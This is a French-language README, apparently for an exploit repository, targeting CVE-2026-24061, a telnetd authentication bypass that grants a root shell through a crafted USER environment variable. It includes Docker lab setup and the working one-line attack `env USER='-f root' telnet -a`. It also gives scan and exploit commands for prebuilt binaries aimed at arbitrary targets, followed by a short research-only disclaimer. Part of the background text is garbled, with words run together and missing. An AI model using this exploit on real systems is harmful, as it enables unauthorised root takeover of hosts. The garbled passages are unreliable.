
Exploit et scanner pour CVE-2026-24061, un contournement d'authentification telnetd qui accorde un shell root via une variable d'environnement USER spécialement conçue. Inclut la configuration de l'environnement Docker et des binaires d'exploit multiplateformes.
CVE-2026-24061 est une vulnérabilité de contournement d'authentification dans telnetd qui permet à des attaquants de contourner la vérification d'identité via des combinaisons spécifiques de variables d'environnement et d'obtenir directement un shell avec privilèges root.
Il existe une faille dans la logique d'authentification de telnetd. Lors de l'utilisation de l'option -a (connexion automatique) combinée à une variable d'environnement USER spécifique (telle que -f root), il est possible de contourner le processus d'authentification normal et de se connecter directement en tant qu'utilisateur root.
GNU InetUtils est une collection d'outils réseau de base du projet GNU. Elle contient de nombreux clients et démons réseau traditionnels, tels que ftp, telnet, rsh, rlogin, , etc., fournissant une bibliothèque complète de composants réseau au style GNU. est le programme serveur de cette boîte à outils chargé de gérer les requêtes de connexion Telnet entrantes, dont la tâche principale est de fournir aux utilisateurs distants une interface terminal interactive (généralement un Shell).
tftptelnetdinetd ou xinetd sur le port 23. Lorsqu'une requête arrive, telnetd est démarré.login sous-jacent du système pour vérifier le nom d'utilisateur et le mot de passe.Tout d'abord, téléchargez ce dépôt localement. La structure du répertoire est la suivante :

Dans ce répertoire, exécutez la commande suivante pour démarrer l'environnement vulnérable pour CVE-2026-24061 :
docker compose up -d --build

Après le démarrage, le service telnet s'exécutera sur 0.0.0.0:2323

-a de telnetd est utilisée pour activer la fonctionnalité de connexion automatique-a est activé, telnetd lit la variable d'environnement USER comme nom d'utilisateur de connexionUSER est définie sur -f root, telnetd interprète incorrectement -f comme un indicateur d'option et root comme l'utilisateur cible# Définir la variable d'environnement USER et se connecter avec telnet -a
env USER='-f root' telnet -a 127.0.0.1 2323
En cas de succès, vous obtiendrez un shell interactif avec les privilèges root :

cd exp

Vous pouvez voir trois fichiers : exp, exp_darwin et exp.exe sont respectivement les exécutables pour Linux, Mac et Windows. Choisissez celui dont vous avez besoin. Le code source de l'outil est également fourni. Si vous avez besoin d'autres versions, vous pouvez les compiler vous-même. J'utilise ici exp pour Linux, qui dispose d'informations d'aide détaillées.

Détecter si la vulnérabilité existe (analyse par défaut du port 23) :
./exp -mode scan -target your-ip -port your-port

Exploiter la vulnérabilité et obtenir un shell :
./exp -mode exploit -target your-ip -port your-port

Ce projet est destiné uniquement à la recherche en sécurité et à des fins éducatives. Ne l'utilisez pas sur des systèmes non autorisés. Les utilisateurs assument l'entière responsabilité légale de toute conséquence résultant de l'utilisation de cet outil.